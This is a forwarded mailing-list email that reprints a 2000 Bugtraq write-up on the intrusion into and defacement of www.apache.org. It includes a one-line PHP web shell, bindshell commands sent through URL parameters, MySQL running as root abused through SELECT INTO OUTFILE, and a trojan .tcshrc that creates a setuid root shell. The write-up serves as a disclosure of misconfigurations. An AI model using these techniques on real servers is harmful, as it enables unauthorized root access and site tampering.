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Subject: IP: How we [ THEY not me djf] defaced www.apache.org
>Date: Sat, 6 May 2000 00:08:45 +0800
>From: Meng Weng Wong <mengwong@starnet.gov.sg>
>To: fslist@listbox.com
>Cc: farber@cis.upenn.edu
>
>
>an amusing account of a "white hat" break-in to no less than apache.org.
>
>----- Forwarded message from Peter van Dijk <petervd@VUURWERK.NL> -----
>
>Delivered-To: matthew@analog.pobox.com
>Delivered-To: matthew@chronis.pobox.com
>Approved-By: aleph1@SECURITYFOCUS.COM
>Delivered-To: bugtraq@lists.securityfocus.com
>Delivered-To: BUGTRAQ@securityfocus.com
>Mail-Followup-To: BUGTRAQ@securityfocus.com
>X-Mailer: Mutt 1.0.1i
>Date: Thu, 4 May 2000 21:08:06 +0200
>Reply-To: Peter van Dijk <petervd@VUURWERK.NL>
>From: Peter van Dijk <petervd@VUURWERK.NL>
>Subject: How we defaced www.apache.org
>X-To: BUGTRAQ@securityfocus.com
>To: BUGTRAQ@SECURITYFOCUS.COM
>
> How we defaced www.apache.org
> by {} and Hardbeat
>
>/*
> * Before you start reading
> */
>This paper does _not_ uncover any new vulnerabilities. It points out common
>(and slightly less common) configuration errors, which even the people at
>apache.org made. This is a general warning. Learn from it. Fix your systems,
>so we won't have to :)
>
>/*
> * introduction
> */
>This paper describes how, over the course of a week, we succeeded in
>getting root access to the machine running www.apache.org, and changed
>the main page to show a 'Powered by Microsoft BackOffice' logo instead
>of the default 'Powered by Apache' logo (the feather). No other changes
>were made, except to prevent other (possibly malicious) people getting in.
>
>Note that the problems described in this paper are not apache-related,
>these were all config errors (one of 'm straight from BugZilla's README,
>but the README had enough warnings so I don't blame the BugZilla developers).
>People running apache httpd do not need to start worrying because of
>anything uncovered herein.
>
>We hacked www.apache.org because there are a lot of servers running apache
>software and if www.apache.org got compromised, somebody could backdoor
>the apache server source and end up having lots of owned boxes.
>
>We just couldn't allow this to happen, we secured the main ftproot==wwwroot
>thing. While having owned root we just couldnt stand the urge to put that
>small logo on it.
>
>/*
> * ftproot == wwwroot
> * o+w dirs
> */
>While searching for the laters apache httpserver to diff it the with
>previous version and read that diff file for any options of new buffer
>overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of
>the http://www.apache.org on that ftp including world writable directories.
>
>So we wrote a little wuh.php3 including
><?
> passthru($cmd);
>?>
>
>and uploaded that to one of the world writable directories.
>
>
>/*
> * Our commands executed
> */
>Unsurprisingly, 'id' got executed when called like
>
> http://www.apache.org/thatdir/wuh.php3?cmd=id
>
>Next was to upload some bindshell and compile it like calling
>http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c and then
>executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
>
>
>/*
> * The shell
> */
>Ofcourse we used a bindshell that first requires ppl to authenticate with
>a hardcoded password (:
>
>Now we telnet to port 65533 where we binded that shell and we have local
>nobody access, because cgi is running as user nobody.
>
>
>/*
> * The apache.org box
> */
>What did we find on apache.org box:
> -o=rx /root
> -o=rx homedirs
>
>apache.org is a freebsd 3.4 box. We didn't wanted to use any buffer
>overflow or some lame exploit, goal was to reach root with only
>configuration faults.
>
>
>/*
> * Mysql
> */
>After a long search we found out that mysql was
>running as user root and was reachable locally. Because apache.org was
>running bugzilla which requires a mysql account and has it
>username/password plaintext in the bugzilla source it was easy to
>get a username/passwd for the mysql database.
>
>We downloaded nportredird and have it set up to accept connections on
>port 23306 from our ips and redir them to localhost port 3306 so we could
>use our own mysql clients.
>
>
>/*
> * Full mysql access
> * use it to create files
> */
>Having gained access to port 3306 coming from localhost, using the login
>'bugs' (which had full access [as in "all Y's"]), our privs where
>elevated substantially. This was mostly due to sloppy reading of the BugZilla
>README which _does_ show a quick way to set things up (with all Y's) but
>also has lots of security warnings, including "don't run mysqld as root".
>
>Using 'SELECT ... INTO OUTFILE;' we were now able to create files
>anywhere, as root. These files were mode 666, and we could not overwrite
>anything. Still, this seemed useful.
>
>But what do you do with this ability? No use writing .rhosts files - no
>sane rshd will accept a world-writable .rhosts file. Besides, rshd
>wasn't running on this box.
>
>
>/*
> * our /root/.tcshrc
> */
>Therefore, we decided to perform a trojan-like trick. We used database
>'test' and created a one-column table with a 80char textfield. A couple
>of inserts and one select later, we had ourselves a /root/.tcshrc with
>contents similar to:
> #!/bin/sh
> cp /bin/sh /tmp/.rootsh
> chmod 4755 /tmp/.rootsh
> rm -f /root/.tcshrc
>
>
>/*
> * ROOT!!
> */
>Quite trivial. Now the wait was for somebody to su -. Luckily, with 9
>people legally having root, this didn't take long. The rest is trivial
>too - being root the deface was quickly done, but not until after a
>short report listing the vulnerabilities and quick fixes was build.
>Shortly after the deface, we sent this report to one of the admins.
>
>
>/*
> * Fix that ftproot==wwwroot
> */
>Another thing we did before the deface, was creating a file 'ftproot' in
>the wwwroot (which was also ftproot), moving 'dist' to 'ftproot/dist'
>and changing the ftproot to this new 'ftproot' dir, yielding the
>world-writable dirs unexploitable but allowing ftp URLs to continue
>working.
>
>
>/*
> * What could have been compromised?
> */
>Remember the trojaned tcp_wrappers on ftp.win.tue.nl last year? If we
>wanted to, we could have done the same thing to Apache. Edit the source
>and have people download trojaned versions. Scary, eh?
>
>
>/*
> * In short:
> */
>- ftproot==webroot, worldwritable dirs allowing us to upload and execute
> php3 scripts
>- mysqld running as root, with a FULL RIGHTS login without a password.
>
>
>/*
> * Compliments for the Apache admin team
> */
>We would like to compliment the Apache admin team on their swift
>response when they found out about the deface, and also on their
>approach, even calling us 'white hats' (we were at the most 'grey hats'
>here, if you ask us).
>
>
> Regards,
> {} and Hardbeat.
>
> {} (mailto:karin@root66.nl.eu.org) is part of
> RooT66 - http://root66.nl.eu.org
>ShellOracle - http://www.shelloracle.cjb.net
> b0f - http://b0f.freebsd.lublin.pl
>
> Hardbeat (petervd@vuurwerk.nl) just has a lame page at
> http://www.dataloss.net/
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